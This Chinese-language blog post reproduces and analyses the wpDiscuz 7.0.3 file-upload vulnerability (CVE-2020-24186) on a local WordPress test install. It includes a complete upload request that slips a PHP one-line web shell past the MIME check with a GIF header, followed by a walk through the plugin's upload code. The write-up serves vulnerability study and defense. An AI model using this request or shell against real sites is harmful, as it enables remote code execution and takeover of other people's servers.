WordPress wpDiscuz 文件上传漏洞 CVE-2020-24186

1.漏洞复现

WordPress 5.4.1

插件:wpDiscuz 7.0.3,https://downloads.wordpress.org/plugin/wpdiscuz.7.0.3.zip

复现

后台,安装、启动插件

前台,打开一篇文章,评论区上传图片抓包

GIF头绕过:

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 127.0.0.1
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryRBGQ1nxRvI9FIqxB
Content-Length: 638
Connection: close

------WebKitFormBoundaryRBGQ1nxRvI9FIqxB
Content-Disposition: form-data; name="action"

wmuUploadFiles
------WebKitFormBoundaryRBGQ1nxRvI9FIqxB
Content-Disposition: form-data; name="wmu_nonce"

f0839ae97a
------WebKitFormBoundaryRBGQ1nxRvI9FIqxB
Content-Disposition: form-data; name="wmuAttachmentsData"

undefined
------WebKitFormBoundaryRBGQ1nxRvI9FIqxB
Content-Disposition: form-data; name="wmu_files[0]"; filename="shell.php"
Content-Type: image/jpeg

GIF89A
<?php @eval($_POST[1]);?>
------WebKitFormBoundaryRBGQ1nxRvI9FIqxB
Content-Disposition: form-data; name="postId"

1
------WebKitFormBoundaryRBGQ1nxRvI9FIqxB--

一句话木马路径见响应包

2.正向分析

从可见功能点正向分析

/wp-admin/admin-ajax.php

可以看到文件上传请求是从这个脚本开始处理的

$action = ( isset( $_REQUEST['action'] ) ) ? $_REQUEST['action'] : '';
...
do_action( "wp_ajax_nopriv_{$action}" );

do_action 是 WordPress 的函数,根据请求包,会调用动作名为 wp_ajax_nopriv_wmuUploadFiles 的函数

WpdiscuzHelperUpload类

/wp-content/plugins/wpdiscuz/utils/class.WpdiscuzHelperUpload.php

通过命令找到添加动作的这个类文件

findstr /s wp_ajax_nopriv_wmuUploadFiles D:\environment\phpstudy_pro\WWW\wordpress5.4.1/*.php

add_action 也是 WordPress 的函数,可以看到 wp_ajax_nopriv_wmuUploadFiles 对应的函数为 uploadFiles方法

add_action("wp_ajax_nopriv_wmuUploadFiles", [&$this, "uploadFiles"]);

uploadFiles方法

在当前类查看 uploadFiles方法 的实现

public function uploadFiles() {
  ...
  $files = $this->combineArray($_FILES[self::INPUT_NAME]);
  ...
  foreach ($files as $file) {
    ...
    $mimeType = $this->getMimeType($file, $extension);

通过 getMimeType方法 获取文件的 MIME类型

在 $files 的定义下面添加:

ob_end_flush();
var_dump($files);

发送请求包看看 $files 是什么

array(1) {
  [0]=>
  array(5) {
    ["name"]=>
    string(9) "shell.php"
    ["type"]=>
    string(10) "image/jpeg"
    ["tmp_name"]=>
    string(22) "C:\Windows\php88C7.tmp"
    ["error"]=>
    int(0)
    ["size"]=>
    int(33)
  }
}

getMimeType方法

在当前类查看 getMimeType方法 的实现

private function getMimeType($file, $extension) {
  $mimeType = "";
  if (function_exists("mime_content_type")) {
    $mimeType = mime_content_type($file["tmp_name"]);
  }
  ...
  return $mimeType;
}

可以看出 MIME类型 是通过 mime_content_type方法 对临时文件判断出的

用 GIF头 可以绕过此方法,获取到的 MIME类型 为 image/gif

uploadFiles方法

回来继续往下走

public function uploadFiles() {
  ...
  if ($this->isAllowedFileType($mimeType)) {
    ...
  } else {
    $error = true;
    ...
  }
  ...
  if (!$error) {
    $attachmentData = $this->uploadSingleFile($file);

可以看出 MIME类型 检测通过后调用 uploadSingleFile方法

uploadSingleFile方法

在当前类查看 uploadSingleFile方法 的实现

private function uploadSingleFile($file) {
  ...
  $path = $this->wpUploadsPath . "/";
  $fName = $file["name"];
  $pathInfo = pathinfo($fName);
  ...
  $ext = empty($pathInfo["extension"]) ? "" : strtolower($pathInfo["extension"]);
  ...
  $cleanFileName = $sanitizedName . "-" . $currentTime . "." . $ext;
  ...
  $fileName = $path . $cleanFileName;

  if (in_array($ext, ["jpeg", "jpg"])) {
    $this->imageFixOrientation($file["tmp_name"]);
  }
  ...
  if ($success || @move_uploaded_file($file["tmp_name"], $fileName)) {

如果 $ext 为 jpeg 或 jpg,文件会经二次渲染后通过 imagejpeg函数 保存

实际上 $ext 为 php,$fileName 为文件要保存到的绝对路径

然后一句话木马就通过 move_uploaded_file函数 保存了

posted @ 2023-04-29 17:27  Hacker&Cat  阅读(243)  评论(0编辑  收藏  举报